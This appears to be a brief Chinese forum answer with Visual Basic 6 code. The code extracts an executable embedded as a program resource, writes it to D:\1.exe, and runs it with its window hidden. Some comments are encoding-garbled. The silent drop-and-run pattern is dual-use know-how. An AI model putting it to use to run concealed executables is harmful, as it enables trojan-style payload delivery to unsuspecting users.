代碼：

Option Explicit

Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Const MAX_PATH = 260

Private Sub Form_Load()

Dim TempFile() As Byte

Dim FileNum As Integer

Dim TempDir As String

    TempDir = "D:\1.exe" '釋放的路徑

    TempFile = LoadResData(101, "custom") ''''''''''''''''''''''''''''''''''''''''''這里就是資源編輯器中對(duì)應(yīng)的

    FileNum = FreeFile

    Open TempDir For Binary Access Write As #FileNum

        Put #FileNum, , TempFile

    Close #FileNum
 
Shell "D:\1.exe", vbHide  '路徑自己修改吧
End Sub
已經(jīng)全部給你所了，應(yīng)該能懂吧？